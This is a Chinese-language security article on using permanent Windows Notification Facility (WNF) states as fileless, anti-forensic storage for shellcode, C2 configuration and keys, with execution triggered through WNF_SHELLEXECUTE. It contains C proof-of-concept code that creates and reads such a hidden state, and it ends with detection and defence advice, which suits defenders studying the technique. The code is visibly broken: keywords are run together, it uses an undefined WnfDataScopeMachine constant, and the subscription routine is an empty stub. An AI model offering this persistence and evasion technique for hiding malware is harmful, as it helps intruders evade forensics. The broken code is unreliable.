摘要

Windows 通知设施(Windows Notification Facility)是内核向用户态分发系统事件的异步通道,负责传递诸如电池状态、网络连接变化、Shell 执行触发等大量低延迟通知。WNF 的状态数据以键值对形式存储在内核池中,并按临时或永久两种生命周期管理。然而,这一设计隐藏了一个鲜为人知的反取证库房:永久性 WNF 状态即使关联进程退出,其数据依然存活于内核内存中,且重启后仍可从注册表或其他持久化位置恢复。攻击者可通过 NtCreateWnfStateName 与 NtUpdateWnfStateData 在内核池中建立隐形存储,将 Shellcode、C2 配置或加密密钥藏匿于传统取证工具无法触及的角落,并在特定系统事件触发时通过 WNF_SHELLEXECUTE 等 Shell 触发器在用户态启动恶意进程。

WNF架构

轻量级通知引擎

Windows 内核需要向用户态组件推送大量异步事件,例如电源管理通知、Shell 文件关联变更、网络地址变化等。早期实现主要依赖 ETW 提供者和回调,但 ETW 的启用和解析较为笨重。Windows 8 引入 WNF 作为更轻量的替代方案,其设计目标是在内核与用户态之间提供高效、基于状态的订阅通知机制,且无需用户态主动轮询。

WNF 的整体组件架构与交互过程如下:

               +-------------------------------------------------------+

               |                       用户态层                          |
               |  +--------------------+      +---------------------+  |
               |  |  Publisher (发布者) |      | Subscriber (订阅者) |  |
               |  +---------+----------+      +----------+----------+  |
               +------------|---------------------------|--------------+

                            |                           |
        NtUpdateWNFStateData|                           |NtSubscribeWNFStateChange

                            |                           |
               +------------v---------------------------v--------------+

               |                   ntdll.dll                           |
               |             (原生 WNF API 封装)                         |
               +----------------------------|--------------------------+
                                            |
               +----------------------------v--------------------------+

               |         Windows 内核 WNF 管理器 (内核态)                |
               |  +-------------------------------------------------+  |
               |  |               WNF 状态数据存储                     |  |
               |  | (StateName 标识 / 安全描述符 / 监听回调队列)       |  |
               |  +-------------------------------------------------+  |
               +----------------------------|--------------------------+
                                            |
                          内核状态变更回调/分发通知
                                            |
               +------------v------------------------------------------+

               |          内核发布者 (内核驱动/Code Integrity)             |
               +-------------------------------------------------------+

状态名

WNF 状态名的 64 位值由两个部分组成:Version(高 32 位) 和 Name(低 32 位)。用户态 API 接受一个 WNF_STATE_NAME 结构,内部包含 64 位状态名和两个生命周期字段:

typedefstruct _WNF_STATE_NAME {
    ULONG64 StateName;
    ULONG   NameLifeTime;   // WnfTemporaryStateName (0) 或 WnfPermanentStateName (1)
    ULONG   DataScope;      // WnfDataScopeSystem (0), WnfDataScopeSession (1), WnfDataScopeUser (2)
} WNF_STATE_NAME;

其中 NameLifeTime 决定状态数据的存活周期:

  • 临时状态(WnfTemporaryStateName = 0):在最后一次订阅关闭后,状态数据被内核回收。通常用于瞬态通知,如进程内事件。
  • 永久状态(WnfPermanentStateName = 1):状态数据在内核池中持久存在,即使所有订阅关闭也不回收。系统重启后,内核从注册表 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WNF\PersistedState\{Version}\{Name} 恢复状态数据。 这成为攻击者理想的隐蔽存储载体。

内核池存储

状态数据

WNF 状态数据存储在内核池中,由 WNF_STATE_DATA 结构描述:

typedefstruct _WNF_STATE_DATA {
    ULONG Size;          // 数据大小(字节)
    UCHAR Data[1];       // 变长数据
} WNF_STATE_DATA;

当用户调用 NtUpdateWnfStateData 时,内核分配或更新与状态名绑定的池内存块,将用户态提供的缓冲区复制进去。对于永久状态,内核额外写入注册表以支持跨重启持久化。由于该内存位于内核地址空间,用户态进程无法直接读取,除非通过 NtQueryWnfStateData API——而该 API 调用不会在常规的系统审计日志或 ETW 事件中产生记录,因此成为反取证的理想存储位置。

反取证

相比传统文件、注册表或命名管道,WNF 持久化具有以下逃避检测的特性:

  • 无文件痕迹:数据存储在内核池中,不写入文件系统,绕过文件完整性监控。
  • 注册表隐匿:永久状态会在注册表中留下键值,但位于 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WNF\PersistedState 这个极少被审查的角落。大多数取证工具(如 RegRipper)的默认规则不扫描此路径。
  • 无事件日志:WNF 的查询和更新操作不生成安全审计事件(事件 ID 4663 等),Sysmon 默认配置也不记录。
  • 与进程生命周期解耦:状态数据可独立于任何用户态进程存在。攻击者可以创建 WNF 状态后退出进程,数据仍存活于内核。

攻击场景

隐蔽存储恶意载荷

攻击者可将加密的 Shellcode、C2 服务器地址、密钥或下一阶段 Dropper 的路径存储于永久 WNF 状态中。在需要时,从内核池中读取,解密并执行。由于存储不依赖文件系统,防病毒软件难以在静态扫描中查杀,且取证分析人员无法通过文件时间线发现恶意载荷的植入。

利用 ShellExecute 触发器恢复执行

WNF 有一组预定义的系统状态名,对应特定的系统事件。例如,WNF_SHELLEXECUTE 的状态名在 Shell 执行文件关联调用时被内核更新。攻击者可以订阅此状态,并注册一个回调函数。当受害者打开文件、启动程序或触发特定 Shell 操作时,WNF 通知唤醒攻击者的监视线程,从内核池中读取预先存储的恶意载荷并执行。

更隐蔽的方式是:攻击者在永久 WNF 状态中存储完整的恶意 DLL 路径,并在系统启动时通过 WNF_SHELLEXECUTE 回调加载该 DLL,实现无文件持久化。

POC

定义未公开 API 与结构

// wnf_ghost.c
// 利用 WNF 永久状态存储并恢复 Shellcode

#include<windows.h>
#include<winternl.h>
#include<stdio.h>

#pragma comment(lib, "ntdll.lib")

// 未公开结构
typedefenum _WNF_STATE_NAME_LIFETIME {
    WnfTemporaryStateName = 0,
    WnfPermanentStateName = 1
} WNF_STATE_NAME_LIFETIME;

typedefenum _WNF_DATA_SCOPE {
    WnfDataScopeSystem = 0,
    WnfDataScopeSession = 1,
    WnfDataScopeUser = 2
} WNF_DATA_SCOPE;

typedefstruct _WNF_STATE_NAME {
    ULONG64 StateName;
    WNF_STATE_NAME_LIFETIME NameLifeTime;
    WNF_DATA_SCOPE DataScope;
} WNF_STATE_NAME, *PWNF_STATE_NAME;

typedefstruct _WNF_TYPE_ID {
    GUID TypeId;
} WNF_TYPE_ID, *PWNF_TYPE_ID;

// 未公开函数指针
typedefNTSTATUS(NTAPI *pNtCreateWnfStateName)(
    PWNF_STATE_NAME StateName,
    WNF_STATE_NAME_LIFETIME NameLifeTime,
    WNF_DATA_SCOPE DataScope,
    PWNF_TYPE_ID TypeId,
    ULONG DataSize,
    PVOID Data
);

typedefNTSTATUS(NTAPI *pNtUpdateWnfStateData)(
    PWNF_STATE_NAME StateName,
    PVOID Buffer,
    ULONG Length,
    ULONG Reserved
);

typedefNTSTATUS(NTAPI *pNtQueryWnfStateData)(
    PWNF_STATE_NAME StateName,
    PWNF_TYPE_ID TypeId,
    PVOID Buffer,
    PULONG BufferSize
);

// 函数指针
pNtCreateWnfStateName NtCreateWnfStateName = NULL;
pNtUpdateWnfStateData NtUpdateWnfStateData = NULL;
pNtQueryWnfStateData  NtQueryWnfStateData  = NULL;

voidResolveWNF(){
    HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
    NtCreateWnfStateName = (pNtCreateWnfStateName)GetProcAddress(ntdll, "NtCreateWnfStateName");
    NtUpdateWnfStateData = (pNtUpdateWnfStateData)GetProcAddress(ntdll, "NtUpdateWnfStateData");
    NtQueryWnfStateData  = (pNtQueryWnfStateData)GetProcAddress(ntdll, "NtQueryWnfStateData");
}

创建永久状态并写入恶意数据

#define GHOST_KEY_LO 0x12345678   // 状态名低32位(可自定义)
#define GHOST_KEY_HI 0x9ABCDEF0   // 高32位
// 组成64位状态名: (HI << 32) | LO

voidCreateGhostState(){
    WNF_STATE_NAME stateName;
    stateName.StateName = ((ULONG64)GHOST_KEY_HI << 32) | GHOST_KEY_LO;
    stateName.NameLifeTime = WnfPermanentStateName;
    stateName.DataScope = WnfDataScopeUser;

// 要存储的数据(示例:加密的shellcode)
unsignedchar shellcode[] = "\x90\x90\xcc\xc3"; // 简化
    ULONG dataSize = sizeof(shellcode);

    NTSTATUS status = NtCreateWnfStateName(&stateName, WnfPermanentStateName, 
                                           WnfDataScopeUser, NULL, dataSize, shellcode);
if (status == 0) {
printf("[+] Ghost WNF state created and data stored.\n");
    } elseif (status == 0xC0000035) { // STATUS_OBJECT_NAME_COLLISION
printf("[*] State already exists, updating data...\n");
        NtUpdateWnfStateData(&stateName, shellcode, dataSize, 0);
    } else {
printf("[-] Error: 0x%X\n", status);
    }
}

voidReadGhostState(){
    WNF_STATE_NAME stateName;
    stateName.StateName = ((ULONG64)GHOST_KEY_HI << 32) | GHOST_KEY_LO;
    stateName.NameLifeTime = WnfPermanentStateName;
    stateName.DataScope = WnfDataScopeUser;

    UCHAR buffer[256];
    ULONG bufferSize = sizeof(buffer);
    NTSTATUS status = NtQueryWnfStateData(&stateName, NULL, buffer, &bufferSize);
if (status == 0) {
printf("[+] Retrieved %lu bytes from ghost state:\n", bufferSize);
for (ULONG i = 0; i < bufferSize; i++) printf("%02X ", buffer[i]);
printf("\n");
    } else {
printf("[-] Query failed: 0x%X\n", status);
    }
}

intmain(){
    ResolveWNF();
    CreateGhostState();
    ReadGhostState();
return0;
}

利用 WNF_SHELLEXECUTE 回调触发执行

// 订阅 ShellExecute 通知并在回调中从 WNF 状态读取载荷并执行
HANDLE SubscribeShellExecute(PVOID callback){
// ShellExecute 的状态名(已知固定值)
    WNF_STATE_NAME shellState;
    shellState.StateName = 0x41C64E6DA3BC5075; // 根据版本确定
    shellState.NameLifeTime = WnfPermanentStateName;
    shellState.DataScope = WnfDataScopeMachine; // 系统范围

// 调用 NtSubscribeWnfStateChange 注册回调(参数省略)
// ...
}

说明:由于注册 WNF 回调需要内核级订阅(NtSubscribeWnfStateChange)且涉及异步过程调用,完整代码较为复杂。上述片段展示了核心思路:攻击者提前在永久状态中存放载荷,然后在系统级 Shell 执行通知发生时,触发回调从内核池读取载荷并执行,从而在重启后仍能复活。

检测

检测方法

  • 注册表审计:监控 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WNF\PersistedState 及其子键的创建和修改,特别是异常的名称(非已知系统状态)。
  • 内核池扫描:使用 LiveKd 或 WinDbg 挂载系统内存,手动检查 WNF 状态池中是否存在大块非系统数据。
  • WNF API 挂钩:对 NtCreateWnfStateNameNtUpdateWnfStateData 进行 SSDT 挂钩或通过 ETW 内核提供者记录调用。
  • 行为关联:检测短时进程创建永久 WNF 状态后退出,并且后续无订阅者读取数据。

防御策略

  • 限制 WNF API 调用:通过 AppLocker 或 WDAC 禁止非授权进程调用 NtCreateWnfStateName(但可能影响正常系统功能)。
  • 清理策略:在系统启动或关机脚本中,遍历非系统永久状态并清除超出白名单的数据。
  • 提升取证覆盖率:将 WNF 持久化路径纳入数字取证工具的标准扫描规则,例如更新 RegRipper 插件。

结语

Windows 通知设施承载着系统与应用程序间的大量信息交互,却极少受到安全社区的审视。其永久状态机制为攻击者提供了一间反取证的储物间,无需触碰文件系统即可在内核中埋下后门,防御者必须将 WNF 纳入攻击面管理的视野。